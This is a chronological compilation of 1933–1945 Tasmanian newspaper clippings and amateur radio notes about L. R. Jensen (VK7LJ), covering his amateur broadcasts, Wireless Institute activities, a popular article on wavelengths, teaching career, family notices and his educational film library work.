"BURNIE. . . . Amateur Wireless Stations: Following a circular received from the chief inspector of radio by all amateur wireless transmitters, many listeners to Burnie's experimental stations VK7BC and VK7LJ were disappointed when it was learned that all transmissions by amateurs on the broadcast band must cease. However Messrs. Bruce Craw and L. Jensen, the respective owners and operators of the stations mentioned, have now been advised by the Wireless Institute of Australia, of which they are members, that permission has been obtained from the chief radio inspector for them to continue amateur transmissions. Listeners, therefore, can look forward to hearing both stations at the usual hours tomorrow."
1933
"WIRELESS INSTITUTE. Tasmanian Division. Year of Progress Reviewed. A year of progress was reviewed at the annual meeting at Hobart on Saturday night of the Tasmanian division of the Wireless Institute of Australia. Mr. W. E. Masters was in the chair, and there was a large attendance, including visitors from all parts of the State. Mr. S. O. Jones (acting-deputy radio inspector), Mr. W. A. Woods (president of the Listeners' League), and Mr. E. J. Lewis (manager of 7ZL Broadcasting Station) were among those present. The annual report stated, that for the 11 months' period under review the division had further progressed, and regular monthly meetings and lectures had been continued. The interest shown by members had been in general very gratifying, and an increased attendance at meetings had been noticeable, the average being 18. It was pleasing to note the number of new members admitted, four full and 14 associate members. There were seven resignations, and membership of the division was 61. The Army Signals Radio Club had become affiliated. Thanks were tendered to those members who had contributed lectures during the year. At the ninth annual convention of the Institute held in Melbourne last February the division was again represented by Mr. Bruce Hardie. Important work was dealt with, and it was decided that Federal headquarters be located in Adelaide for the ensuing 12 months. It was desired to place on record thanks to Mr. Hardie for assistance and advice received from him during his term as Federal secretary. Three members passed the necessary examination, and obtained experimental transmitting licences during the year, Messrs. Clark (VK7CK), Campbell (VK7NC), and Wellington (VK7PK). During the summer another field day was held, in which there was a large attendance. It was intended to hold more of those outings, as they had proved very popular with members. At the request of the deputy-radio inspector, a scheme for the co-ordination of amateur telephone transmissions of the 1,200-1,500 kilocycle band was drawn up, and having been approved, was now in operation. The council look forward with confidence to the coming year. The balance-sheet disclosed a credit balance of £19 17s. On the motion of Mr. W. E. Masters, seconded by Mr. F. W. Medhurst, the annual report and balance-sheet were adopted. ELECTION OF OFFICERS. The election of officers resulted as follows:— Patron, Mr. F. W. Medhurst (VK7AH); president, Mr. W. E. Masters (VK7MM); vice-presidents, Messrs. W. A. Woods and E. J. Lewis; council, Messrs. Masters (7MM), Medhurst (7AH), G. E. Every (7GE), R. Buring (VK7RB), L. R. Jensen (VK7LJ), A. C. Scott (VK7CS), R. Drake; hon. solicitor, Mr. W. E. Masters; hon. treasurer, Mr. R. Drake; technical director and assistant secretary, R. Buring; QSL manager, Mr. G. E. Every; traffic manager, Mr. J. Batchler (VK7JB); hon. secretary, appointment deferred. Votes of thanks were passed to the retiring secretary (Mr. C. Harrisson, VK7CH) and treasurer (Mr. G. E. Every, VK7GE)."
'''MORE ROOM IN ETHER WANTED. Problem of Modern Wireless Practice. SHORT WAVE QUESTION. BY L. R. JENSEN, M.W.I.A. — VK7LJ.''' One of the greatest problems of modern wireless practice is the finding of sufficient space in the ether in which to accommodate the ever-increasing number of stations in the air. Of recent years the search for more room has led to an investigation of the properties of wave-lengths below those used by medium-wave broadcasting stations. As the wave-length is decreased it has been found that the properties of the waves change so considerably that it is questionable whether the extremely short waves will be of greater use in broad-casting than those already being employed. Before actually considering the radiations which we know as "wireless waves," a few words regarding the simplest of all "wireless" communications may be of interest. I am referring here to the sound waves by which we converse with one another. Suppose we strike a note on the piano, as, for example, middle C. The vibration of the sounding string alternately compresses or stretches the air particles in the immediate neighborhood of the string. These compressions and expansions travel outwards in all directions until they either strike some object and are reflected back of they continue onwards, gradually decreasing in strength until eventually they disappear. When these vibrations of the air reach our ears they stimulate the nerves so that the message is sent to the brain, where it is interpreted as being a particular note on the piano. The higher the note struck the greater the number of compressions or expansions travelling through the air per second and vice versa. SPEED OF VIBRATIONS. As all these vibrations travel at the same speed — approximately 1100 feet per second — the distance between each two successive compressions (or expansions) becomes less the higher the note. This distance is termed the wave length, and the number of compressions or expansions which pass a given point in one second are termed the frequency. Middle C on the piano, for example, has a frequency of 256 vibrations per second and a wave length of a little over four feet. The C an octave above this has a frequency of twice and a wave length half that of middle C. Thus increasing the frequency, or in other words, raising the tone of the note, and vice versa, means a decrease in wave length. LIMITS OF HUMAN EAR. The human ear is not capable of detecting as sound the presence of air waves of all frequencies, so that it is only when the frequency of such waves falls between certain limits that the ear is able to detect their presence. These limits, which are poorly defined, vary considerably with different people, but appear to extend from about 25 to 20,000 vibrations per second. It is interesting to note that there are certain animals which can hear notes of sound pitched too high for us to hear. Coming now to light rays we find that these, too, are regular disturbances set up by some source, but in this case in hypothetical medium, which, for convenience, has been termed the ether. While these vibrations differ entirely in their nature from those of sound, there are some points of similarity which may help us to understand these waves in the ether. The number of vibrations which pass a certain point in a second again constitute the frequency, and the distance between two successive pulses the wave length. Increasing the frequency lowers the wave length and causes marked changes in the na-ture of the light. Just as increasing the frequency of the sounding object, may cause it to fall outside the limits of hearing, so increasing or decreasing the frequency may render these light waves imperceptible to our eyes. Wireless waves form part of these invisible, ultra-violet, infra-red and wireless waves differ from one another only in the wave length. ENORMOUS FREQUENCY. The wave length of yellow light is extremely small — approximately 1-42,000 of an inch, but has the enormous frequency of 500,000,000,000,000 cycles per second. All the wave lengths giving rise to visible light are included between 16 and 30-millionths of an inch in length. The shortest of the invisible rays are those emitted by radium. Closely following these are X-rays, which have great penetrating powers. Next on the scale are the ultra-violet rays, which produce photographic, chemical and similar effects, but the wave length is so short that they are not visible. Another slight increase in wave length gives rise to visible violet light, which precedes blue, yellow and finally red light. Next on the scale come the invisible infra-red rays, or heat radiations from hot bodies. These have wave lengths which overlap the ultra-short waves of wireless communication. The only difference, therefore, between the waves from one end of the scale to the other is that of the wave length, although the effects on matter vary considerably. Visible light thus consists of electromagnetic waves which can be detected by the human eye, while various artificial means have to be used to detect similar waves above or below them on the scale. LENGTH VARIATIONS. Wireless waves may vary in length from a few inches to several miles, and with each variation in wave length there corresponds a difference, in carrying power. Those emitted by 3LO have a wave length of 375 metres (408¾ yards) corresponding with a frequency of 800,000 cycles per second. The high wave lengths seem to be but little affected by change from day to night, but as the wave length is decreased the time of day has much more marked effects. On short waves the signals from a particular station may be inaudible at night and very loud in day-time, while perhaps with a different wave length the reverse may be the case. On the other hand on the longer waves it was found, as one might have expected, that the further one went from the transmitting station the weaker the signals became. On short waves, however, the signals often became stronger with increasing distance. From this brief account one can readily see that there exists a close connection between all these etherial radiations, the study of which holds a fascination, appreciated only by those who have delved into their mysteries.
"BURNIE. . . . Old Darwinians' Association: Immediately following the sixth annual banquet of the Old Darwinians' Association on Saturday evening, the annual meeting was held, the president (Mr. J. J. Stubbs) presiding over a large gathering of members. The annual report showed that the Association had continued with success its policy of rendering service to the Burnie High School, and in addition to adding to the equipment of the school had made available two bursaries for competition among 'D' class scholars. The social activities of the association had been pursued with success, and the Association had affiliated with the State-wide organisation embracing all the old high school scholars' associations. The report made an appeal for membership, pointing out that with greater numbers to back them up the officials could do more than had been accomplished in the past. The balance sheet showed a credit balance of £18/19/6 in the general fund, and £11/4/3 in the bursary or High School equipment fund. The report and balance sheet were adopted on the motion of the president and Mr. R. Gale. The election of officers resulted: Patron, Mr. F. O. Close, B.Sc.; vice-patrons, Mrs. Burnell, Messrs. F. B. Edwards, F. A. Joyce, P. J. Cherry, A. M. Bewsher, C. Masterton, A. E. Terry and K. Coleman and Dr. C. H. Martin; president, Mr. J. J. Stubbs; vice-presidents, Misses E. E. McKenna, P. Jillett, L. Kerslake, H. Thurstun. C. Cumming and J. Porte; Messrs. W. J. Thornton, J. R. Cherry, R. L. Gale, H. T. Smith, M. Smart, L. R. Jensen, C. Best, T. Jacobs, and R. A. Fulton; secretary and treasurer, Mr. C. E. Terry; assist-ant secretary, Miss U. Terry; editor of old scholars' page in High School Magazine, Miss B. Bond; committee, Misses G. Pitt, C. Tattersall, K. Greenhill and M. Raymond; Messrs T. Colegrave, B. Boutcher, H. Schell and C. Alford, with the officers ex officio members. On the motion of Messrs. Stubbs and Gale. Mr. R. A. Fulton was appointed a life member of the association. The other life members of the body are Messrs. H. T. Glover, B.A., and W. J. Thornton, B.A., and Miss E. E. McKenna."
"BURNIE. . . . Teachers Transferred: Notice of transfer to other parts of the State have been received by Mr. L. R. Jensen and Miss H. Thurstun, of the teaching staff of the High School. Mr. Jensen, who has been at Burnie for about four or five years, has been transferred to the staff of the Hobart Technical School. Miss Thurstun, who has been on the staff of the High School for two years, has been transferred to the Queenstown School of Mines. During their stay at Burnie both teachers have proved very popular with scholars and parents, and have both taken a keen interest in the affairs of the Old Darwinians' Association, Mr. Jensen having capably filled the position of secretary for a time. Mr. Jensen has become widely known as the owner of the amateur broadcasting station, VK7LJ, and his broadcasts on Sunday evenings will be missed by a large number of radio listeners. Mr. Jensen yesterday made his farewell Sunday broadcast. Miss Thurstun has taken a prominent part in sporting affairs, having played tennis and basketball. It is understood that the vacancies will be filled by Mr. T. Malone and Miss D. Wood, both of Hobart."
1934
"BURNIE. . . . Broadcasting Station: Following the departure of Mr. L. Jensen from the town about a month ago, Mr. F. E. Nicholls, who has been transferred from Devonport to Burnie, has set up an amateur broadcasting station, and began transmitting on Sunday last. His call sign is VK7RY, and the hours of broadcasting for the present will be from 9 to 10 on Sunday mornings, from 4.30 till 5.30 in the afternoons and from 10 till 11 at nights. Mr. Nicholls has had considerable experience with wireless, having been a prominent member of the Devonport Radio Club prior to coming to Burnie. He also broadcast from 7DY Devonport for 16 months, and during that time received many reports from America, Great Britain, Spain and all parts of the Commonwealth. Yesterday he received a report from Launceston stating that the reception at that centre on Sunday night was very good."
MATRIMONIAL. This month we have sufficient news to warrant a heading such as above. During a QSO VK3KN was told that VK7LJ was married a week or so ago. Next week, Bill Gronow (VK3WG) joins the ranks of the benedicts, and in April we understand Vaughan Marshall (VK3UK) is also to be married. Both 3WG and 3UK are on the magazine staff, and we sincerely hope that their respective wives will not curtail their wonderful efforts in producing "Amateur Radio."
"TECHNICAL COLLEGE. . . MEETING OF COUNCIL. A meeting of the Technical College council was held at Hobart on Friday, when there were present: Messrs. G. McI. Hunter (in the chair), D. Meredith, R. D. Williams, A. C. Powell, F. Wells, A. H. McIntosh, W. J. Lawrence, A. G. Kemp, and the principal of the College (Mr. L. Dechaineux). The principal reported an enrolment of 315 in the senior school and 189 in the junior school, also that Mr. W. G. Speers had been transferred to Launceston as headmaster of the Junior Technical School there, and that his place at Hobart had been taken by Mr. L. R. Jensen. Mr. L. Little had been appointed to succeed Mr. Jensen. Two new courses had been started during the month in the College, one in motor-car mechanism for owner-drivers and one in first-aid. Alterations to the blacksmithing shop had been finished, and had greatly improved the teaching facilities and working conditions."
"TECHNICAL COLLEGE. Annual Exhibition. Trade Classes. Minister's Inspection. There appears to be no limit to the ingeunity and usefulness of the modern schoolboy. The Hobart Technical College, at its annual open night and exhibition of work last night, did its best to prove that every possible avenue in the academic and technical education of the growing boy is exploited to enable him to become a useful worker in the community's daily life. The Minister for Education (Mr. E. J. Ogilvie) attended the exhibition, and commented favourably on the high standard of the work. In the absence, through illness, of the principal (Mr. L. Dechaineux), Mr. R. Hudspeth, headmaster of the Junior School, was in charge of the exhibition. Accompanying the Minister on his tour of inspection were the Director of Education (Mr. G. V. Brooks), the Superintendent of Technical Education (Mr. W. G. Gibson), the Secretary for Education (Mr. Walter Wright), the secretary to the Minister (Sir. B. J. Thompson), and the following members of the Technical College council:— Messrs. G. McI. Hunter (chairman), Bernard Walker, R. D. Williams, N. P. Booth, and A. McIntosh. Dr. E. E. Kurth, of the Engineering Board staff, also was present. During the night a large number of parents and old scholars attended the exhibition, and evinced a keen interest in the work of the boys. In every classroom and workshop the scholars were busily engaged in work which they carry out as part of their daily curriculum. Not only are they concerned with technical education, but they receive an education in academic subjects which is comparable with that provided by the High Schools. The college has grown in the public estimation, as witness the enrolments of two students from a town 240 miles from Melbourne, and others from St. Helens, King Island, and other distant Tasmanian centres. In the room devoted to the display of work in Junior mechanical, building and art drawing, and senior-building drawing, Mr. W. Michael was the instructor in charge. An exquisitely polished geometrical hand-rail immediately caught the eye. Little wonder, for it was one of the four final exhibits judged in the competition conducted last year by the Australian Institute of Carpenters and Joiners. Another outstanding piece of work was a hand-made metal lampshade, made by Mr. S. Cunningham and exhibited at the British Empire Exhibition at Wembley. Exhibits were made of the work of junior students in art, fitting, and turning, and electrical wiring. Drawings in respect to building construction were exhibited by the senior students. Public interest in the junior exhibition of sheet metal work and plumbing was evidence of the appeal of this type of study. One of the most popular rooms from the public point of view was that housing an exhibition of the work carried out by the senior art students. The keynote was a distinct modernistic touch, and the valuable commercial possibilities of the course were immediately apparent. An interesting section was that devoted to pencil sketches from life. CHEMISTRY AND PHYSICS. Under Mr. A. W. G. Powell, the intermediate chemistry classes gave an exhibition of their work in progress. Ominous phials and mystic flames were the characteristics of their learning as they exhibited their methods of determining the composition of air and water and the use of carbon dioxide with its accompanying illustration: of how plants breathe. Distillation processes occupied the attention of other lads, while some were engaged in the preparation of common salt, sal ammoniac and salt-petre. The manufacture of sulphuric acid for commercial purposes was particularly interesting. Experiments in heat, electricity, and magnetism were carried out under the supervision of Mr. L. R. Jensen by a class of physics students. Some of the youngsters were busy explaining the importance of electric statics, and another group expounding the power of a vacuum in a most practical demonstration. Starting from modest beginnings, the junior sheet metal workers, under Mr. R. Cameron, go on to more difficult models, which command the admiration of all. Utility is the keynote of all the set models, and a practical instance of this is that one boy is engaged making a copper kettle to the order of Lady Clark. . .."
1935
"WITH THE AMATEURS. Good Conditions For B.E.R.U. Contest. By Q.R.A. VK7CW, 7LJ, and 7PA, of Tasmania, well known on the short wave bands, now operate 200 metre phone transmitters."
1936
'''Tasmanian Division. By 7PA.'''. . . 7LJ appeared at last meeting, must be annual vacation; ay, Lon!
"DEATHS. JENSEN.— Passed peacefully away on July 11, 1936, at her residence, 59A Pedder Street, New Town, Eveline Maud, dearly beloved wife of Carl Jensen, loving mother of Eloise, Carla and Laurence, daughter of the late Richard Kerkham and Angelina Hopkins, of Carrick, and grand-daughter, of the late T. W. Monds, of Launceston. Interment will take place at the Cornelian Bay cemetery on TUESDAY (to-morrow) at 3 o'clock.— Hooper and Burgess, Funeral Director (H. J. Hooper, manager), 'phone 6107; 195 Elizabeth Street, Hobart."
'''Tasmanian Division. By VK7JB. . . . Member's Activities.'''. . . 7LJ heard on 40 mx fone recently. F.B as usual.
'''Tasmanian Division. By VK7JB. . . . Member's Activities.'''. . . 7LJ and 7CW.— Hrd regularly on 200 mx.
1937
"THE ADMINISTRATION AND PROBATE ACT 1935. NOTICE OF INTENTION TO APPLY FOR LETTERS OF ADMINISTRATION. NOTICE IS HEREBY GIVEN that, after the expiration of fourteen days from the publication hereof, application will be made to the Supreme Court of Tasmania in its Ecclesiastical Jurisdiction that letters of administration of the estate of EVELINE MAUDE JENSEN late of 59 Pedder Street, New Town, in the State of Tasmania (wife of Carl Frantz Jensen of the same place Retired Railway Employee) deceased intestate, may be granted to the said Carl Frantz Jensen, the husband of the said deceased. Dated this first day of April, 1937. FINLAY, WATCHORN, BAKER AND TURNER, of 32 Murray Street, Hobart, Proctors."
"OUR WEEKLY RADIO PAGE. 'Turn on the Wireless.' . . . . THE AMATEUR IN EMERGENCIES. From time to time amateur radio experimenters have assisted the authorities greatly by supply communications in times of emergency. It is practically a daily occurrence in United States for amateurs to come to the assistance of the authorities. In Australia, during the last six or seven years there have been several outstanding examples of this assistance. In April, 1929, a severe storm swept Tasmania and communication between Hobart and Launceston was impossible. The power in Launceston was also cut out so communications direct between the cities was impossible. However, the submarine cable between Launceston and Melbourne was intact and messages were sent to Melbourne to be cleared. It was soon found that the commercial stations could not clear the traffic, and amateur stations 7DK (sic, 7DX) and 7LJ in Hobart and 3LS and 3RJ in Melbourne stepped in, and by using the 40mx band during the day and the 80mx band at night continuous communication was held for many hours. The Launceston stations, who had previously been off due to lack of power, meantime purloined all the batteries available and were in communication between themselves and with outlying stations. That is just one incident in many when amateurs have in no small degree justified their existence. AIRMEN SAVED. Don Knock 2NO was operator at the Wyndham meat works radio station when he heard the SOS of Smith and Shiers when they were forced down in their plane in the Kimberleys. He followed their signals for two or three days and sent out transmissions to them (not knowing that they didn't have a receiver) and also maintained communication with the rest of Australia in advising the disaster and subsequent discovery of the two men who would probably have died but for the picking up of the SOS on the short waves."
'''Tasmanian Division. . . . Member's Activities.'''. . . 7JH.— Very consistent on 20 of late, and working plenty of dx with QRP. Tried loop modulation on his receiver to 7LJ with good results.
"BIRTHS. JENSEN (nee Huldah Thompson). - On May 22, 1937, at St. Mary's Private Hospital, to Mr. and Mrs. L. R. Jensen, 319 Park Street, New Town: a daughter."
'''Tasmanian Division. . . . Member's Activities.'''. . . 7LJ still entertains BCL’s on 200 metres, has a sked with 3CN every Friday night, University and the new second operator (ie new baby - SSD) taking all his time.
1938
"SCHOOL TEACHERS PROMOTED. Promotions, appointments, and resignations in Tasmania are notified in the latest issue of 'The Educational Record' as follows:— Promotions I.A, Infant, by examination — V. E. Walker, Moonah (1/1/38). I.B, Infant, by examination — G. Camm, Charles-street (1/1/38). II.A, by examination — L. R. Jensen, Hobart Junior Technical (1/1/39). III.A, by examination — E. A. Hookway, Gladstone; W. J. Badcock, Launceston State High (1/1/39). III.A, for good service — B. M. Wilcox, Tunbridge (1/1/39). Appointments Head teacher — F. C. Bakes, Prospect. Ex-student in charge — L. Bonser, South Mount Cameron. Temporary teacher — B. J. Anderson, Strickland. Temporary assistants — N. Collis, Elizabeth-street Infant; M. G. Handley, Campbell-street; J. Williams, Launceston Hospital. Provisional temporary teacher — G. Whitley, Wesley Vale. Junior teacher — F. Shaw, Prince's-street Infant. Student, domestic arts — G. E. Green-wood. Resignations E. M. Eadie, Lorinna; N. Turner, Elizabeth-street Infant; E. Rice, Tunnel; B. J. Dean, Bangor; G. Dent, Launceston Hospital; J. Duncan, Tullah; C. M. Martin, South Mount Cameron; M. Wright, Blind, Deaf, and Dumb (after leave); G. Stokell, Myrtle Bank. Termination of Service J. Bynon (student), Teachers' College."
"RESULTS OF EXAMINATIONS FOR UNIVERSITY DEGREES. HOBART, Thursday. The following are the results of the ordinary examinations for degrees, held at the University, November, 1938:— . . . . Faculty of Science. Pure Mathematics I. (b).— High Distinction — J. K. Lynch. Distinction — R. A. Forsyth, P. A. Rothwell. Pass — H. G. Baldwin, R. W. Blakney, R. C. Croft, A. G. Fenton, E. G. Gentle, A. E. Tucker. Pure Mathematics II.— High Distinction — H. W S. Chamberlain. J. S. Courtney-Pratt. Pass — A. D. Wadsley. Applied Mathematics I.— Distinction — J. K. Lynch. Pass — R. A. Forsyth, G. P. Hood, J. W. Richardson, P. A. Rothwell. Applied Mathematics II.— Distinction — H. W. S. Chamberlain. Physics I.— Distinction — R. C. Croft, A. G. Fenton, G. A. Hills, G. P. Hood, J. K. Lynch. Pass — D. H. Johnstone, B. L. Meston, A. M. Olsen, W. H. Stephens. Physics II.— High Distinction — H. W. S. Chamberlain; J. S. Courtney-Pratt. Pass — A. D. Wadsley. Chemistry I.— High Distinction — C. M. Saul, F. A. Waters. Distinction — J. P. Clemes, G. A. Hills. Pass — F. C. Beckitt, R. W. Blakney, T. Brinsmead, R. C. Croft, M. E. Griffiths, J. K. Lynch, B. L. Meston, A. M. Olsen, W.. H. Stephens. Chemistry II.— High Distinction — E. T. Smith. Pass — A. G. Fenton, J. D. Foley, A. E. Tucker. Chemistry IIIA.— Pass — W. Baulch, S. C. Morris, A. D. Wadsley, D. Williams. Chemistry IIIB.— Pass — D. Williams. Zoology I.— High Distinction — T. W. Bate. Distinction — B. L. Meston, A. M. Olsen. Pass — E. H. Branagan, G. Nicol, W. H. Stephens. Zoology II.— Pass — R. W. Kerr. Zoology III.— High Distinction — B. J. F. Ralph. Pass — L. R. Jensen, H. A. Winter. Botany I.— Distinction — A. M. Olsen. Pass — B. L. Meston, W. H. Stephens. Botany II.— Distinction — F. D. Cruickshank, J. Somerville. Pass — S. C. Morris. Botany III.— Pass — A. H. Nightingale"
1939
"RECIPIENTS OF DEGREES AT UNIVERSITY COMMEMORATION. GRADUATES of the University of Tasmania, on whom degrees were conferred yesterday at the Town Hall, Hobart. Bottom row (left to right): Misses K. E. Jackson, E. M. Robinson, A. K. Kerslake, C. M. E. Tayler, M. R. Botten, M. W. Coulter, D. M. Burleigh, M. P. Morris, Mrs. E. Glasson. Middle row: Messrs. W. G. Speers, A. H. Nightingale, M. M. Bruce, E. A. Brettingham-Moore, P. G. Crawford, M E. Fletcher, A. H. R. Wayn, L. V. Jacques, J. W. Faulkner, N. R. Wilson, B. J. F. Ralph. Top row: Messrs. N. J. B. Plomley, A. R. Peirce, C. G. Marshall, G. W. Donnelly, P. M. Lattin, F. G. Groom, D. M. Green, R. W. Baker, D. M. Chambers, I. B. Postle, Dr. C. A. Duncan, Mr. L. R. H. Jensen."
1940
"DEATHS. . . . JENSEN.— Passed peacefully away on August 13, 1940, at his residence, 59A Pedder Street, New Town, Carl Frantz, beloved husband of the late Eveline M. Jensen. . . . FUNERAL NOTICES. JENSEN.- Funeral of the late Mr. Carl Frantz Jensen will move from his residence, 59A Pedder Street, New Town, on Wednesday (This Day), at 2.45 p.m., arriving Cornelian Bay Cemetery, 2.55 p.m. HOOPER AND BURGESS, Funeral Directors. (H. J. HOOPER, Manager.) 195 Elizabeth St. Phone 6107."
"'THE ADMINISTRATION AND PROBATE ACT 1935.' NOTICE OF INTENTION TO APPLY FOR LETTERS OF ADMINISTRATION DE BONIS NON. NOTICE IS HEREBY GIVEN that, after the expiration of fourteen days from the publication hereof, application will be made to the Supreme Court of Tasmania in its Ecclesiastical Jurisdiction that Letters of Administration of the unadministered estate of EVELINE MAUDE JENSEN late of New Town in the State of Tasmania, the wife of Carl Frantz Jensen late of the same place Retired Railway Employee, deceased, may be granted to ELOISE MIGNON HOPKINS JENSEN of 39A Pedder Street New Town aforesaid a daughter of the said deceased. Dated this 26th day of August 1940. FINLAY WATCHORN BAKER AND TURNER Proctors."
1941
"OLD SCHOLARS FAREWELL MISS M. FOX. To farewell Miss Mary Fox who has retired after having been headmistress of the Methodist Ladies College Launceston for the past 38 years, old scholars of the college resident in the South met at the Grotto, Hobart, last night. The function took the form of an informal supper party. Those responsible were Mrs. Crosby Gilmore, Misses Erica Headlam and Cynthia Johnson. Flowers were presented to Miss Fox by Mrs. Basil White. Miss Fox recalled happy memories of the times spent at the school through which be-tween 2,000 and 3,000 girls had passed. 'Music and books,' she said, 'will be my chief interest now that I am to retire and live in Victoria.' Mrs. Gilmore wished Miss Fox happiness in her new surroundings. Among others present were Mesdames G. Roberts, W. E. Masters, Crawford, Fotheringham, W. I. Magrath, I. Stokes, R. C. Petersen, J. Bowden, G. W. Beck, Elliott, Mathews, C. C. Boag, H. S. Barnett, L. Orchard, R. Evans, Domeney, Williams, L. R. Jensen, J. G. Branagan, F. Blake, I. Plaister, C. H. Rowe (New Norfolk), Roberts-Thomson, Misses Louie and Madge Overell, E. Teniswood, M. Wilson, V. Tregear, L. Denholm, M. Williams, J. and M. Harvey, P. Nicholl, B. Foot, P. Wilson, M. Lord."
1942
"BIRTHS. . . . JENSEN.- On April 23, 1942, at Londa Private Hospital, to Mr. and Mrs. L. R. Jensen, 319 Park Street, New Town: a son."
"Servicemen's Parents And Wives Meet. The men's auxiliary of the Servicemen's Parents' and Wives' Association held its first social gathering in the RSL rooms, Hobart, last night, when the hall was filled. The auxiliary president (Mr J. H. Geappen) presided, and Mr George Limb conducted community singing. Features of the programme were a film of an infantry battalion abroad shown by Sig K. Gillam, and Dept. of Information and Education Dept. films shown by Mr L. R. Jensen. Items were given by Mrs Knight, Messrs S. Mourant and A. Louez (songs), N. Wilson (ventriloquism), J. Blight (recitation), and L. Henri (entertainer). Mr A. Bailey was pianist for community singing. The women's auxiliary, under the direction of Mrs H. de Jersey, served supper. Curios from abroad were on view in an adjoining hall."
1943
"YOUTH CAMP. Rotary Entertains Hobart Lads. About 40 boys are participating in the annual youth camp conducted at Taroona by the Rotary Club of Hobart. The boys, all of whom are from Hobart, are under Rotarian Godfrey Jacobs, camp instructor, who is assisted by Rotarian Harry O'May. The youth committee of the Rotary Club is giving all the help required to ensure the success of the camp. The boys enjoy swimming and games, and a camp entertainment programme has been arranged. Last night there were shown Education and Ministry of Information films, by courtesy of Mr L. R. Jensen. On Friday night a film entertainment will be presented by Rotarian Eric Long. Early next week more films will be shown by courtesy of Mr F. S. Levis, followed on Thursday night by a camp fire entertainment. Sunday, next will be visitors' day. A medical examination of the campers has been conducted by Rotarian Dr T. H. Goddard."
1944
"PREMIER STRESSES VALUE OF TECHNICAL EDUCATION. OPENING the annual fair of the Junior Technical School Parents' Association at the Town Hall on Saturday, the Premier (Mr Cosgrove) stressed the importance of technical education for boys and girls, and pointed out the value it would be to the community as a whole after the war. He said the plans for the new junior technical school at New Town, which he had promised a year ago would be under way by this time, had been submitted to the Public Works Committee, and a start would be made on the building before the end of the year. Mr A. A. Robertson, newly appointed superintendent of Technical Education also spoke. Others in the official party were Mr T. W. Rees (registrar), and Mrs Rees, Mr R. Hudspeth (headmaster of the junior school), and Mrs Hudspeth, Mr G. C. Hughes (president of the Parents' Association), and Mrs Hughes, Mr E. A. Hawkes (secretary), and Mrs Hawkes. About £160 was raised towards equipment for the proposed school for boys and girls at New Town. Stallholders were: Sweets, Mesdames G. C. Hughes, C. Shearing, J. Cannock, Fennell, Misses G. Fennell, V. Shearing, Mr J. Wicks; cakes, Mesdames R. Thompson, T. Dewhurst, P. Welsh, G. Bjorklund; toys, Mesdames C. Crocker, H. Cashion, C. Burrows, A. Sharland, Miss B. Emanuel; jumble, Mesdames R. D. Leitch, W. Leitch, W. Smith, G. Gathercole, Peterson, H. Bennetto, H. Blackburn, F. Salisbury, H. Watkins; produce, Mesdames R. Stewart, J. Emanuel, A. Willing, H. Smart; flowers, Mesdames W. Paton, M. Sturges, Misses E. Gandy, J. Williams, J. Yeates, L. Denne, and Master Bill Paton; cordials, Mesdames R. Emanuel, E. McCormick, W. Peppiatt, Miss K. Emanuel; games, Messrs E. Peterson, E. L. Hanigan, J. E. Wicks, H. Blackburn, J. Walch, R. C. Cameron, W. Purdon, T. Bower, R. Cracknell, I. Burrows, Miss G. P. Moore; afternoon tea, Mesdames T. R. Bower, W. Slevin, L. Bullock, D. Barker, E. Pears, F. A. Ward, E. A. Shearing, E. A. Hawkes, E. Hanigan, N. Frances, J. Gaffney, G. Speakman, G. Rogers, R. Smith, V. Powell, Hey, Miss I. Hawkes, Messrs E. A. Shearing, E. Hanigan, and T. McTye. Talking films were shown by Mr L. R. Jensen."
"FILMS AS EDUCATION MEDIUM. Use In Tasmanian Schools. A POWERFUL medium of education, the film, is playing a large part in the schools' system in Tasmania, although the extent to which it is being used is not generally known. The fact that 78 pc of State school children participate in the visual education system is evidence of the growing influence of the film in this department. IT is claimed the library of education films for Tasmanian schools is more effective than in any other State. Inaugurated seven years ago by the Education Dept. and made possible by a Government grant of £1,000 a year, the scheme has made rapid progress, and today the library contains 764 films, which are lent to schools free of charge. With the exception of four schools, all State, secondary, area, and primary schools in classes 1 to 4 inclusive — schools with an annual average attendance of more than 100 children — are equipped with projectors. The purchase of approved projectors by the schools is subsidised by the department to the extent of one-third of the cost. The remaining two-thirds is met by the schools, raised by the pupils or the parents and friends' associations. Stocks of projectors because of war conditions are exhausted, and the department is unable to supply projectors to about a dozen schools which have applied for them. The 16mm film is used, and the scheme extends as far as King Island and Cape Barren Island. Where no electric power is available, batteries are utilised for the projectors. Safety film is used. Six thousand films were sent out to Tasmanian schools last year, and the present rate of despatch from the library ranges from 32 to 40 a day. The silent film was selected as being the most suitable visual education medium, but two sound projectors are available. Because of transport difficulties, these are mostly confined to Hobart and Launceston. Several schools are contemplating the purchase of sound projectors after the war. Sound films in the library include more than 100 released by the Dept. of Information. Black and white and colour films are included, and beautiful colour is achieved in one on Tasmanian butterflies and insects taken by Mr H. J. King, a Launceston amateur photographer and biologist. The majority of the films are sent out with a teacher's guide, and the subjects include geography, physiology, nature study, history, general, and health. The teachers using the films and projectors have to be approved by special certifying officers, but about 500 teachers in the department have such approval. A catalogue of films available is issued to schools. The visual education scheme is controlled by the following committee: Messrs G. V. Brooks (Director of Education, chairman), C. E. Fletcher (Secretary of Education), R. Warner and A. L. Meston (education officers), H. J. Read, A. A. Vollprecht, and L. R. Jensen (secretary). The library and film distribution is supervised by Mr Jensen, science master at the Hobart Junior Technical School, on a part-time basis. With Mr J. L. Levis as librarian. Where possible films are viewed by a selection committee before purchase, but in many cases they have to be indented from overseas on catalogue descriptions, and much assistance has been given by the Agent-General in London and the British Film Institute. The films are cleaned and repaired by the librarian. Transport fees are paid by the department in Hobart by arrangement with rail, postal, bus and air services. Efficient protection is given in transit by leather containers made by the pupils of the area schools. The film library at Hobart is fitted with a small viewing theatre. In the schools the standard equipment includes self-erecting glass-beaded screens which have high reflecting power. Several teachers have made experiments in rear projection which have yielded encouraging results. The officers supervising the scheme are keen cine-photographers and a number of films in colour and black and white on Tasmanian subjects have been produced with equipment belonging to the department. A film on the mutton bird industry on Cape Barren Island is nearly completed, and a film on the hydro-electric industry is in course of preparation. Difficulty is being experienced during the war in obtaining suitable films, and replacements of machine parts, but the work is being maintained and the department hopes to extend the scheme after the war. Steps are being taken to form a Commonwealth Visual Education Bureau on the lines of the British Film Institute. This centralised bureau will specialise in educational films, and the resultant collaboration between the States will assist the development of visual education in Australia. The gross expenditure on projectors, film, and equipment in Tasmania since the inauguration of the scheme is nearing £10,000. The department has co-operated with the Army, and Air Force and patriotic bodies by lending films and projectors, and the Army Education Service has made extensive use of the department's talkie projector."
1945
